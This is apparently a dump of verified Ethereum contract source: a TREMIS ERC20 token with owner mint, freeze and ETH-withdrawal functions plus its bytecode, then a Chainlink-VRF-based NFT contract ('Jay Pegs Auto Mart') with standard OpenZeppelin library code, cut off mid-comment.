/** TREMIS version 1.00 powered by www.IW-Global.com **/ pragma solidity >=0.4.22 <0.6.0; contract owned { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes calldata _extraData) external; } contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This generates a public event on the blockchain that will notify clients event Approval(address indexed _owner, address indexed _spender, uint256 _value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor( uint256 initialSupply, string memory tokenName, string memory tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != address(0x0)); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes memory _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, address(this), _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } } contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } /******************************************/ /* ADVANCED TOKEN STARTS HERE */ /******************************************/ contract TREMIS is owned, TokenERC20 { uint256 public sellPrice; uint256 public buyPrice; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ constructor( uint256 initialSupply, string memory tokenName, string memory tokenSymbol ) TokenERC20(initialSupply, tokenName, tokenSymbol) public {} /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != address(0x0)); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient emit Transfer(_from, _to, _value); } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; emit Transfer(address(0), address(this), mintedAmount); emit Transfer(address(this), target, mintedAmount); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value / buyPrice; // calculates the amount _transfer(address(this), msg.sender, amount); // makes the transfers } /// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold function sell(uint256 amount) public { address myAddress = address(this); require(myAddress.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, address(this), amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks } /// owner can extract ETH function extractETH(address payable destination, uint256 amount) onlyOwner public { address(destination).transfer(amount); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
0x60806040526004361061014b5760003560e01c80638da5cb5b116100b6578063daa82a561161006f578063daa82a5614610569578063dc39d06d146105a2578063dd62ed3e146105db578063e4849b3214610616578063e724529c14610640578063f2fde38b1461067b5761014b565b80638da5cb5b146103e757806395d89b4114610418578063a6f2ae3a1461042d578063a9059cbb14610435578063b414d4b61461046e578063cae9ca51146104a15761014b565b806342966c681161010857806342966c68146102ee5780634b7503341461031857806370a082311461032d57806379c650681461036057806379cc6790146103995780638620410b146103d25761014b565b806305fefda71461015057806306fdde0314610182578063095ea7b31461020c57806318160ddd1461025957806323b872dd14610280578063313ce567146102c3575b600080fd5b34801561015c57600080fd5b506101806004803603604081101561017357600080fd5b50803590602001356106ae565b005b34801561018e57600080fd5b506101976106d0565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101d15781810151838201526020016101b9565b50505050905090810190601f1680156101fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021857600080fd5b506102456004803603604081101561022f57600080fd5b506001600160a01b03813516906020013561075d565b604080519115158252519081900360200190f35b34801561026557600080fd5b5061026e6107c3565b60408051918252519081900360200190f35b34801561028c57600080fd5b50610245600480360360608110156102a357600080fd5b506001600160a01b038135811691602081013590911690604001356107c9565b3480156102cf57600080fd5b506102d8610839565b6040805160ff9092168252519081900360200190f35b3480156102fa57600080fd5b506102456004803603602081101561031157600080fd5b5035610842565b34801561032457600080fd5b5061026e6108ba565b34801561033957600080fd5b5061026e6004803603602081101561035057600080fd5b50356001600160a01b03166108c0565b34801561036c57600080fd5b506101806004803603604081101561038357600080fd5b506001600160a01b0381351690602001356108d2565b3480156103a557600080fd5b50610245600480360360408110156103bc57600080fd5b506001600160a01b038135169060200135610988565b3480156103de57600080fd5b5061026e610a59565b3480156103f357600080fd5b506103fc610a5f565b604080516001600160a01b039092168252519081900360200190f35b34801561042457600080fd5b50610197610a6e565b610180610ac6565b34801561044157600080fd5b506102456004803603604081101561045857600080fd5b506001600160a01b038135169060200135610ae4565b34801561047a57600080fd5b506102456004803603602081101561049157600080fd5b50356001600160a01b0316610afa565b3480156104ad57600080fd5b50610245600480360360608110156104c457600080fd5b6001600160a01b03823516916020810135918101906060810160408201356401000000008111156104f457600080fd5b82018360208201111561050657600080fd5b8035906020019184600183028401116401000000008311171561052857600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610b0f945050505050565b34801561057557600080fd5b506101806004803603604081101561058c57600080fd5b506001600160a01b038135169060200135610c14565b3480156105ae57600080fd5b50610245600480360360408110156105c557600080fd5b506001600160a01b038135169060200135610c66565b3480156105e757600080fd5b5061026e600480360360408110156105fe57600080fd5b506001600160a01b0381358116916020013516610d08565b34801561062257600080fd5b506101806004803603602081101561063957600080fd5b5035610d25565b34801561064c57600080fd5b506101806004803603604081101561066357600080fd5b506001600160a01b0381351690602001351515610d74565b34801561068757600080fd5b506101806004803603602081101561069e57600080fd5b50356001600160a01b0316610def565b6000546001600160a01b031633146106c557600080fd5b600791909155600855565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156107555780601f1061072a57610100808354040283529160200191610755565b820191906000526020600020905b81548152906001019060200180831161073857829003601f168201915b505050505081565b3360008181526006602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60045481565b6001600160a01b03831660009081526006602090815260408083203384529091528120548211156107f957600080fd5b6001600160a01b038416600090815260066020908152604080832033845290915290208054839003905561082e848484610e28565b5060015b9392505050565b60035460ff1681565b3360009081526005602052604081205482111561085e57600080fd5b3360008181526005602090815260409182902080548690039055600480548690039055815185815291517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59281900390910190a2506001919050565b60075481565b60056020526000908152604090205481565b6000546001600160a01b031633146108e957600080fd5b6001600160a01b03821660009081526005602090815260408083208054850190556004805485019055805184815290513093927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef928290030190a36040805182815290516001600160a01b0384169130917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6001600160a01b0382166000908152600560205260408120548211156109ad57600080fd5b6001600160a01b03831660009081526006602090815260408083203384529091529020548211156109dd57600080fd5b6001600160a01b0383166000818152600560209081526040808320805487900390556006825280832033845282529182902080548690039055600480548690039055815185815291517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59281900390910190a250600192915050565b60085481565b6000546001600160a01b031681565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156107555780601f1061072a57610100808354040283529160200191610755565b60006008543481610ad357fe5b049050610ae1303383610e28565b50565b6000610af1338484610e28565b50600192915050565b60096020526000908152604090205460ff1681565b600083610b1c818561075d565b15610c0c57604051638f4ffcb160e01b815233600482018181526024830187905230604484018190526080606485019081528751608486015287516001600160a01b03871695638f4ffcb195948b94938b939192909160a490910190602085019080838360005b83811015610b9b578181015183820152602001610b83565b50505050905090810190601f168015610bc85780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610bea57600080fd5b505af1158015610bfe573d6000803e3d6000fd5b505050506001915050610832565b509392505050565b6000546001600160a01b03163314610c2b57600080fd5b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610c61573d6000803e3d6000fd5b505050565b600080546001600160a01b03163314610c7e57600080fd5b600080546040805163a9059cbb60e01b81526001600160a01b0392831660048201526024810186905290519186169263a9059cbb926044808401936020939083900390910190829087803b158015610cd557600080fd5b505af1158015610ce9573d6000803e3d6000fd5b505050506040513d6020811015610cff57600080fd5b50519392505050565b600660209081526000928352604080842090915290825290205481565b6007543090820281311015610d3957600080fd5b610d44333084610e28565b6007546040513391840280156108fc02916000818181858888f19350505050158015610c61573d6000803e3d6000fd5b6000546001600160a01b03163314610d8b57600080fd5b6001600160a01b038216600081815260096020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a15050565b6000546001600160a01b03163314610e0657600080fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038216610e3b57600080fd5b6001600160a01b038316600090815260056020526040902054811115610e6057600080fd5b6001600160a01b0382166000908152600560205260409020548181011015610e8757600080fd5b6001600160a01b03831660009081526009602052604090205460ff1615610ead57600080fd5b6001600160a01b03821660009081526009602052604090205460ff1615610ed357600080fd5b6001600160a01b03808416600081815260056020908152604080832080548790039055938616808352918490208054860190558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a350505056fea265627a7a72315820634adebd982cfee579a8be3cf361b72bc62aacf5da3e65f0e89770bd6cc8fa3564736f6c63430005110032
[ 38 ]
0xF210D5d9DCF958803C286A6f8E278e4aC78e136E
pragma solidity 0.8.7; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract KiaSedona is VRFConsumerBase, ERC721Enumerable, Ownable { using Strings for uint256; address public constant LINK_TOKEN = 0x514910771AF9Ca656af840dff83E8264EcF986CA; address public constant VRF_COORDINATOR = 0xf0d54349aDdcf704F77AE15b96510dEA15cb7952; address public constant BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD; uint256 public constant LOT_SIZE = 500; uint256 public constant MAX_SUPPLY = 10000; address public immutable dona; uint8 public immutable donaDecimals; uint256 public immutable startBlock; string public tempURI; bytes32 public keyHash; uint256 public fee; event RoofSlap(uint256 indexed tokenId, address indexed slapper); event LotURISet(uint256 lotId, string uri); struct Lot { uint256 randomness; string uri; } mapping(uint256 => Lot) public lotData; // requestId => lotId mapping(bytes32 => uint256) public randomnessRequests; // tokenId => slap count mapping(uint256 => uint256) public slapCounter; constructor(address _donaToken, string memory _tempURI, uint256 _startBlock) VRFConsumerBase(VRF_COORDINATOR, LINK_TOKEN) ERC721("Jay Pegs Auto Mart", "JPAM") { dona = _donaToken; tempURI = _tempURI; startBlock = _startBlock; donaDecimals = ERC20(_donaToken).decimals(); keyHash = 0xAA77729D3466CA35AE8D28B3BBAC7CC36A5031EFDC430821C02BC31A238AF445; fee = 2 * 10**ERC20(LINK_TOKEN).decimals(); } function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); uint256 lotId = tokenId / LOT_SIZE; Lot storage lot = lotData[lotId]; uint256 randomness = lot.randomness; string memory baseURI = lot.uri; if (randomness == 0 || bytes(baseURI).length == 0) return tempURI; return string(abi.encodePacked(baseURI, uriId(tokenId, randomness).toString())); } function roofSlap(uint256 tokenId) external { slapCounter[tokenId] += 1; emit RoofSlap(tokenId, msg.sender); } function mint(uint256 quantity) external { require(block.number >= startBlock, "Not started"); require(quantity > 0, "Cannot mint 0"); require( ERC20(dona).transferFrom( msg.sender, BURN_ADDRESS, quantity * 10**donaDecimals ), "cannot burn DONA" ); uint256 tokenId = totalSupply(); for(uint256 i = 0; i < quantity; i++) { _safeMint(msg.sender, tokenId + i); } // should never happen since there's only 10k DONA but better safe than sorry require(totalSupply() <= MAX_SUPPLY, "Max supply already minted"); } function uriId(uint256 tokenId, uint256 randomness) public pure returns (uint256) { uint256 lotId = tokenId / LOT_SIZE; uint256 lotMin = lotId * LOT_SIZE; uint256 lotMax = lotMin + LOT_SIZE - 1; uint256 randomNumber = randomness % LOT_SIZE; uint256 randomizedTokenId = tokenId + randomNumber; if (randomizedTokenId > lotMax) { randomizedTokenId -= LOT_SIZE; } return randomizedTokenId; } function getRandomNumber(uint256 lotId) internal returns (bytes32 requestId) { require(LINK.balanceOf(address(this)) >= fee, "Not enough LINK - fill contract with faucet"); requestId = requestRandomness(keyHash, fee); randomnessRequests[requestId] = lotId; } function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override { uint256 lotId = randomnessRequests[requestId]; Lot storage lot = lotData[lotId]; lot.randomness = randomness; } // Admin functions function setLotURI(uint256 lotId, string memory uri) external onlyOwner returns (bytes32 requestId) { if (lotId > 0) { require(bytes(lotData[lotId - 1].uri).length > 0, "Previous lot not set"); } Lot storage lot = lotData[lotId]; lot.uri = uri; emit LotURISet(lotId, uri); if (lot.randomness == 0) return getRandomNumber(lotId); } function setLinkFee(uint256 newFee) external onlyOwner { fee = newFee; } function withdrawLink() external onlyOwner { LINK.transfer(owner(), LINK.balanceOf(address(this))); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./interfaces/LinkTokenInterface.sol"; import "./VRFRequestIDBase.sol"; /** **************************************************************************** * @notice Interface for contracts using VRF randomness * ***************************************************************************** * @dev PURPOSE * * @dev Reggie the Random Oracle (not his real job) wants to provide randomness * @dev to Vera the verifier in such a way that Vera can be sure he's not * @dev making his output up to suit himself. Reggie provides Vera a public key * @dev to which he knows the secret key. Each time Vera provides a seed to * @dev Reggie, he gives back a value which is computed completely * @dev deterministically from the seed and the secret key. * * @dev Reggie provides a proof by which Vera can verify that the output was * @dev correctly computed once Reggie tells it to her, but without that proof, * @dev the output is indistinguishable to her from a uniform random sample * @dev from the output space. * * @dev The purpose of this contract is to make it easy for unrelated contracts * @dev to talk to Vera the verifier about the work Reggie is doing, to provide * @dev simple access to a verifiable source of randomness. * ***************************************************************************** * @dev USAGE * * @dev Calling contracts must inherit from VRFConsumerBase, and can * @dev initialize VRFConsumerBase's attributes in their constructor as * @dev shown: * * @dev contract VRFConsumer { * @dev constuctor(<other arguments>, address _vrfCoordinator, address _link) * @dev VRFConsumerBase(_vrfCoordinator, _link) public { * @dev <initialization with other arguments goes here> * @dev } * @dev } * * @dev The oracle will have given you an ID for the VRF keypair they have * @dev committed to (let's call it keyHash), and have told you the minimum LINK * @dev price for VRF service. Make sure your contract has sufficient LINK, and * @dev call requestRandomness(keyHash, fee, seed), where seed is the input you * @dev want to generate randomness from. * * @dev Once the VRFCoordinator has received and validated the oracle's response * @dev to your request, it will call your contract's fulfillRandomness method. * * @dev The randomness argument to fulfillRandomness is the actual random value * @dev generated from your seed. * * @dev The requestId argument is generated from the keyHash and the seed by * @dev makeRequestId(keyHash, seed). If your contract could have concurrent * @dev requests open, you can use the requestId to track which seed is * @dev associated with which randomness. See VRFRequestIDBase.sol for more * @dev details. (See "SECURITY CONSIDERATIONS" for principles to keep in mind, * @dev if your contract could have multiple requests in flight simultaneously.) * * @dev Colliding `requestId`s are cryptographically impossible as long as seeds * @dev differ. (Which is critical to making unpredictable randomness! See the * @dev next section.) * * ***************************************************************************** * @dev SECURITY CONSIDERATIONS * * @dev A method with the ability to call your fulfillRandomness method directly * @dev could spoof a VRF response with any random value, so it's critical that * @dev it cannot be directly called by anything other than this base contract * @dev (specifically, by the VRFConsumerBase.rawFulfillRandomness method). * * @dev For your users to trust that your contract's random behavior is free * @dev from malicious interference, it's best if you can write it so that all * @dev behaviors implied by a VRF response are executed *during* your * @dev fulfillRandomness method. If your contract must store the response (or * @dev anything derived from it) and use it later, you must ensure that any * @dev user-significant behavior which depends on that stored value cannot be * @dev manipulated by a subsequent VRF request. * * @dev Similarly, both miners and the VRF oracle itself have some influence * @dev over the order in which VRF responses appear on the blockchain, so if * @dev your contract could have multiple VRF requests in flight simultaneously, * @dev you must ensure that the order in which the VRF responses arrive cannot * @dev be used to manipulate your contract's user-significant behavior. * * @dev Since the ultimate input to the VRF is mixed with the block hash of the * @dev block in which the request is made, user-provided seeds have no impact * @dev on its economic security properties. They are only included for API * @dev compatability with previous versions of this contract. * * @dev Since the block hash of the block which contains the requestRandomness * @dev call is mixed into the input to the VRF *last*, a sufficiently powerful * @dev miner could, in principle, fork the blockchain to evict the block * @dev containing the request, forcing the request to be included in a * @dev different block with a different hash, and therefore a different input * @dev to the VRF. However, such an attack would incur a substantial economic * @dev cost. This cost scales with the number of blocks the VRF oracle waits * @dev until it calls responds to a request. */ abstract contract VRFConsumerBase is VRFRequestIDBase { /** * @notice fulfillRandomness handles the VRF response. Your contract must * @notice implement it. See "SECURITY CONSIDERATIONS" above for important * @notice principles to keep in mind when implementing your fulfillRandomness * @notice method. * * @dev VRFConsumerBase expects its subcontracts to have a method with this * @dev signature, and will call it once it has verified the proof * @dev associated with the randomness. (It is triggered via a call to * @dev rawFulfillRandomness, below.) * * @param requestId The Id initially returned by requestRandomness * @param randomness the VRF output */ function fulfillRandomness( bytes32 requestId, uint256 randomness ) internal virtual; /** * @dev In order to keep backwards compatibility we have kept the user * seed field around. We remove the use of it because given that the blockhash * enters later, it overrides whatever randomness the used seed provides. * Given that it adds no security, and can easily lead to misunderstandings, * we have removed it from usage and can now provide a simpler API. */ uint256 constant private USER_SEED_PLACEHOLDER = 0; /** * @notice requestRandomness initiates a request for VRF output given _seed * * @dev The fulfillRandomness method receives the output, once it's provided * @dev by the Oracle, and verified by the vrfCoordinator. * * @dev The _keyHash must already be registered with the VRFCoordinator, and * @dev the _fee must exceed the fee specified during registration of the * @dev _keyHash. * * @dev The _seed parameter is vestigial, and is kept only for API * @dev compatibility with older versions. It can't *hurt* to mix in some of * @dev your own randomness, here, but it's not necessary because the VRF * @dev oracle will mix the hash of the block containing your request into the * @dev VRF seed it ultimately uses. * * @param _keyHash ID of public key against which randomness is generated * @param _fee The amount of LINK to send with the request * * @return requestId unique ID for this request * * @dev The returned requestId can be used to distinguish responses to * @dev concurrent requests. It is passed as the first argument to * @dev fulfillRandomness. */ function requestRandomness( bytes32 _keyHash, uint256 _fee ) internal returns ( bytes32 requestId ) { LINK.transferAndCall(vrfCoordinator, _fee, abi.encode(_keyHash, USER_SEED_PLACEHOLDER)); // This is the seed passed to VRFCoordinator. The oracle will mix this with // the hash of the block containing this request to obtain the seed/input // which is finally passed to the VRF cryptographic machinery. uint256 vRFSeed = makeVRFInputSeed(_keyHash, USER_SEED_PLACEHOLDER, address(this), nonces[_keyHash]); // nonces[_keyHash] must stay in sync with // VRFCoordinator.nonces[_keyHash][this], which was incremented by the above // successful LINK.transferAndCall (in VRFCoordinator.randomnessRequest). // This provides protection against the user repeating their input seed, // which would result in a predictable/duplicate output, if multiple such // requests appeared in the same block. nonces[_keyHash] = nonces[_keyHash] + 1; return makeRequestId(_keyHash, vRFSeed); } LinkTokenInterface immutable internal LINK; address immutable private vrfCoordinator; // Nonces for each VRF key from which randomness has been requested. // // Must stay in sync with VRFCoordinator[_keyHash][this] mapping(bytes32 /* keyHash */ => uint256 /* nonce */) private nonces; /** * @param _vrfCoordinator address of VRFCoordinator contract * @param _link address of LINK token contract * * @dev https://docs.chain.link/docs/link-token-contracts */ constructor( address _vrfCoordinator, address _link ) { vrfCoordinator = _vrfCoordinator; LINK = LinkTokenInterface(_link); } // rawFulfillRandomness is called by VRFCoordinator when it receives a valid VRF // proof. rawFulfillRandomness then calls fulfillRandomness, after validating // the origin of the call function rawFulfillRandomness( bytes32 requestId, uint256 randomness ) external { require(msg.sender == vrfCoordinator, "Only VRFCoordinator can fulfill"); fulfillRandomness(requestId, randomness); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has 